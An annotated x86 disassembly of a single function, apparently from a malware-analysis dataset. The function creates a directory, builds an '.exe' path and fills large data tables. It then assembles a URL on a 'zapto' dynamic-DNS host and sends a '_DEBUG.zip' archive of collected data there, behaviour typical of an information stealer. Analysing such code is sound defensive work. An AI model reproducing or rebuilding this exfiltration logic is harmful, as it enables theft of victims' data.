Function at 0x414231
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x7894
call fcn.004198e0
push ebx
push esi
push edi
mov edi, 0x41d1ea
push edi
lea ecx, [ebp - 0xe8]
call fcn.0040e0d4
lea ecx, [ebp - 0x9c]
call fcn.00411458
lea ecx, [ebp - 0xdc]
call fcn.00411290
push edi
lea ecx, [ebp - 0x9c]
call fcn.0040e148
push edi
lea ecx, [ebp - 0x70]
call fcn.0040e148
xor esi, esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], 0x9c40
mov dword [ebp - 0x38], esi
mov dword [0x638624], esi
mov dword [0x63861c], esi
mov dword [0x638618], esi
lea ebx, [ebp - 0x7894]
mov dword [ebp - 0x1c], 0xc7
mov ecx, ebx
call fcn.0040e0c7
lea ecx, [ebx + 0x10]
call fcn.0040e0c7
add ebx, 0x28
dec dword [ebp - 0x1c]
jns 0x4142c4
lea ebx, [ebp - 0x2f24]
mov dword [ebp - 0x1c], 0xc7
mov ecx, ebx
call fcn.0040e0c7
lea ecx, [ebx + 0x10]
call fcn.0040e0c7
add ebx, 0x1c
dec dword [ebp - 0x1c]
jns 0x4142e8
lea ebx, [ebp - 0x1944]
mov dword [ebp - 0x1c], 0x63
mov ecx, ebx
call fcn.00411290
add ebx, 0x24
dec dword [ebp - 0x1c]
jns 0x41430c
lea ebx, [ebp - 0x5954]
mov dword [ebp - 0x1c], 0x63
mov ecx, ebx
call fcn.0041147c
add ebx, 0x2c
dec dword [ebp - 0x1c]
jns 0x414328
lea ebx, [ebp - 0x4824]
mov dword [ebp - 0x1c], 0x63
mov ecx, ebx
call fcn.004114b3
add ebx, 0x40
dec dword [ebp - 0x1c]
jns 0x414344
lea ebx, [ebp - 0xb34]
mov dword [ebp - 0x1c], 0x31
mov ecx, ebx
call fcn.004114d7
add ebx, 0x34
dec dword [ebp - 0x1c]
jns 0x414360
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x20], esi
call fcn.00402302
call fcn.00415513
call fcn.00401000
mov ebx, 0x420e0c
test eax, eax
jne 0x41463b
push edi
lea ecx, [ebp - 0x18]
call fcn.0040e0d4
push 0x420e08
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push ebx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push ebx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420e04
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420e00
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420dfc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420df8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420df4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420df0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420dec
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420de8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420de4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420de0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420ddc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420dd8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420dd4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420dd0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push str..exe
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
lea ecx, [ebp - 0x18]
call fcn.0040e2bd
push eax
call fcn.0040f8a5
pop ecx
test al, al
jne 0x414633
push esi
push 0x6400000
push esi
call fcn.004186c4
add esp, 0xc
mov dword [0x638620], eax
mov dword [0x638618], 1
lea ecx, [ebp - 0x18]
call fcn.0040e13f
lea eax, [ebp - 0xc]
push 0xc
push eax
call fcn.0040f176
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push edi
lea ecx, [ebp - 0xb8]
call fcn.0040e0d4
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [0x627a38]
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0xb8]
call fcn.0040e22b
mov ecx, eax
call fcn.0040e1d9
push eax
lea ecx, [ebp - 0xb8]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
lea ecx, [ebp - 0x18]
call fcn.0040e13f
push esi
lea ecx, [ebp - 0xb8]
call fcn.0040e2bd
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
lea eax, [ebp - 0x10c]
push eax
call fcn.00411b85
add esp, 0x6c
push eax
lea ecx, [ebp - 0xdc]
call fcn.004114fb
lea ecx, [ebp - 0x10c]
call fcn.004112ac
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0x9c]
call fcn.0040e192
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x90]
call fcn.0040e192
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0xa8]
call fcn.0040e10b
push 0x420aa8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0xa8]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0xa8]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
lea eax, [ebp - 0xc4]
push eax
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0xa8]
call fcn.0040e1d9
push eax
lea ecx, [ebp - 0xa8]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push esi
push esi
push esi
push 1
lea ecx, [ebp - 0x90]
call fcn.0040e2bd
push eax
call dword [0x638764]
push esi
push esi
push esi
push 1
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x78], eax
call fcn.0040e2bd
push eax
call dword [0x638764]
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x9c]
push eax
sub esp, 0xc
mov edi, esp
sub esp, 0xc
lea eax, [ebp - 0x90]
mov ecx, esp
push eax
call fcn.0040e10b
call fcn.00401dce
sub esp, 0xc
mov ecx, esp
push eax
call fcn.0040e0d4
sub esp, 0xc
push esp
call fcn.0040eb3d
push ecx
push ecx
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.0040e10b
push edi
call fcn.00403bb7
add esp, 0x34
call fcn.004106f5
add esp, 0x10
cmp dword [ebp - 0x3c], esi
jne 0x414814
mov dword [ebp - 0x3c], 0xcb20
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x1944]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x420a94
call fcn.0040e0d4
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
push esi
call fcn.00405720
add esp, 0x78
call fcn.004101c7
add esp, 0x14
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x7894]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x420dcc
call fcn.0040e0d4
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
push esi
call fcn.00405720
add esp, 0x78
call fcn.0040ffd2
add esp, 0x14
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2f24]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x420dc8
call fcn.0040e0d4
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
push esi
call fcn.00405720
add esp, 0x78
call fcn.00410114
sub esp, 0x54
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.00412502
add esp, 0x5c
lea eax, [ebp - 0x90]
mov ecx, esp
push eax
call fcn.0040e10b
lea ecx, [ebp - 0xa8]
call fcn.0040e2bd
sub esp, 0xc
mov ecx, esp
push eax
call fcn.0040e0d4
call fcn.00404126
push 6
pop ecx
lea esi, [ebp - 0x34]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x1944]
push ecx
lea ecx, [ebp - 0x2f24]
push ecx
lea ecx, [ebp - 0x7894]
push ecx
push edx
push eax
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.0040d45b
add esp, 0x94
cmp dword [ebp - 0x5c], 0
je 0x4149c5
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x5954]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x420dc4
call fcn.0040e0d4
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
push esi
call fcn.00405720
add esp, 0x78
call fcn.0041025d
push ecx
push 6
pop ecx
mov edi, esp
lea eax, [ebp - 0x5954]
push eax
sub esp, 0x68
lea esi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.00401bed
add esp, 0x84
cmp dword [ebp - 0x40], 0
je 0x414a37
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xb34]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x420dc0
call fcn.0040e0d4
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
push esi
call fcn.00405720
add esp, 0x78
call fcn.0040ff12
push ecx
push 6
pop ecx
mov edi, esp
lea eax, [ebp - 0xb34]
push eax
sub esp, 0x68
lea esi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.00411b38
add esp, 0x84
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x4824]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x420dbc
call fcn.0040e0d4
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
push esi
call fcn.00405720
add esp, 0x78
call fcn.0041032e
push ecx
push 6
pop ecx
mov edi, esp
lea eax, [ebp - 0x4824]
push eax
sub esp, 0x68
lea esi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.004134fc
xor esi, esi
add esp, 0x84
cmp dword [ebp - 0x4c], esi
je 0x414ad6
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.00413713
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.0041246d
add esp, 0x68
cmp dword [ebp - 0x58], esi
je 0x414af4
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.00413b0b
add esp, 0x68
cmp dword [ebp - 0x54], esi
je 0x414b12
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.00413f2b
add esp, 0x68
cmp dword [ebp - 0x38], esi
je 0x414b3d
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.0041409f
add esp, 0x68
jmp 0x414b3d
push 0x3e8
call dword [0x638698]
cmp dword [0x63861c], esi
ja 0x414b32
cmp dword [ebp - 0x50], esi
je 0x414b65
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
push 0x43
call fcn.0040f9a5
add esp, 0x6c
cmp dword [ebp - 0x40], esi
jne 0x414bd6
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xb34]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x420dc0
call fcn.0040e0d4
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
push esi
call fcn.00405720
add esp, 0x78
call fcn.0040ff12
push ecx
push 6
pop ecx
mov edi, esp
lea eax, [ebp - 0xb34]
push eax
sub esp, 0x68
lea esi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.00411b38
add esp, 0x84
sub esp, 0xc
mov ecx, esp
push str.645327VdtSrezylanAPHT
call fcn.0040e0d4
sub esp, 0x68
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
lea eax, [ebp - 0xc]
push eax
call fcn.00405720
add esp, 0x78
lea ecx, [ebp - 0xc]
call fcn.0040e13f
call fcn.00401000
test eax, eax
jne 0x415011
mov esi, 0x41d1ea
push esi
lea ecx, [ebp - 0x18]
call fcn.0040e0d4
push 0x420e08
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push ebx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push ebx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420e04
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420e00
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420dfc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420df8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420df4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420df0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420dec
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420de8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420de4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420de0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420ddc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420dd8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420dd4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push 0x420dd0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
push str..exe
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e192
lea ecx, [ebp - 0xc]
call fcn.0040e13f
lea ecx, [ebp - 0x18]
call fcn.0040e2bd
push eax
call fcn.0040f8a5
pop ecx
test al, al
jne 0x415009
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xac]
push eax
push dword [0x638620]
call fcn.004196d7
add esp, 0xc
push esi
lea ecx, [ebp - 0xc]
call fcn.0040e0d4
push str.http:__
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e192
lea ecx, [ebp - 0x28]
call fcn.0040e13f
push 0x420dac
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e192
lea ecx, [ebp - 0x28]
call fcn.0040e13f
push str.dabl
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e192
lea ecx, [ebp - 0x28]
call fcn.0040e13f
mov esi, 0x41d1dc
push esi
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e192
lea ecx, [ebp - 0x28]
call fcn.0040e13f
push str.zapto
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e192
lea ecx, [ebp - 0x28]
call fcn.0040e13f
push esi
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e192
lea ecx, [ebp - 0x28]
call fcn.0040e13f
push 0x420d98
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e192
lea ecx, [ebp - 0x28]
call fcn.0040e13f
push dword [ebp - 0x1c]
push dword [ebp - 0xac]
sub esp, 0xc
mov ecx, esp
push str._DEBUG.zip
call fcn.0040e0d4
sub esp, 0xc
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.0040e10b
sub esp, 0xc
lea eax, [ebp - 0x90]
mov ecx, esp
push eax
call fcn.0040e10b
sub esp, 0xc
lea eax, [ebp - 0x70]
mov ecx, esp
push eax
call fcn.0040e10b
push dword [ebp - 0x78]
lea eax, [ebp - 0x28]
push eax
call fcn.004042f6
add esp, 0x40
lea ecx, [ebp - 0x28]
call fcn.0040e13f
lea ecx, [ebp - 0xc]
call fcn.0040e13f
lea ecx, [ebp - 0x18]
call fcn.0040e13f
lea ecx, [ebp - 0xb8]
call fcn.0040e2bd
push eax
call fcn.0040f867
sub esp, 0x64
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.0041152b
add esp, 0x68
lea ecx, [ebp - 0xa8]
call fcn.0040e13f
lea ecx, [ebp - 0xb8]
call fcn.0040e13f
push 0x31
lea esi, [ebp - 0x10c]
pop edi
sub esi, 0x34
mov ecx, esi
call fcn.0040fead
dec edi
jns 0x41505a
push 0x63
lea esi, [ebp - 0x2f24]
pop edi
sub esi, 0x40
mov ecx, esi
call fcn.00410e46
dec edi
jns 0x415070
push 0x63
lea esi, [ebp - 0x4824]
pop edi
sub esi, 0x2c
mov ecx, esi
call fcn.00411498
dec edi
jns 0x415086
push 0x63
lea esi, [ebp - 0xb34]
pop edi
sub esi, 0x24
mov ecx, esi
call fcn.004112ac
dec edi
jns 0x41509c
mov edi, 0xc7
lea esi, [ebp - 0x1944]
mov ebx, edi
sub esi, 0x1c
lea ecx, [esi + 0x10]
call fcn.0040e13f
mov ecx, esi
call fcn.0040e13f
dec ebx
jns 0x4150b6
lea esi, [ebp - 0x5954]
sub esi, 0x28
lea ecx, [esi + 0x10]
call fcn.0040e13f
mov ecx, esi
call fcn.0040e13f
dec edi
jns 0x4150d1
lea ecx, [ebp - 0xdc]
call fcn.004112ac
lea ecx, [ebp - 0x9c]
call fcn.004010a4
lea ecx, [ebp - 0xe8]
call fcn.0040e13f
pop edi
pop esi
pop ebx
leave
ret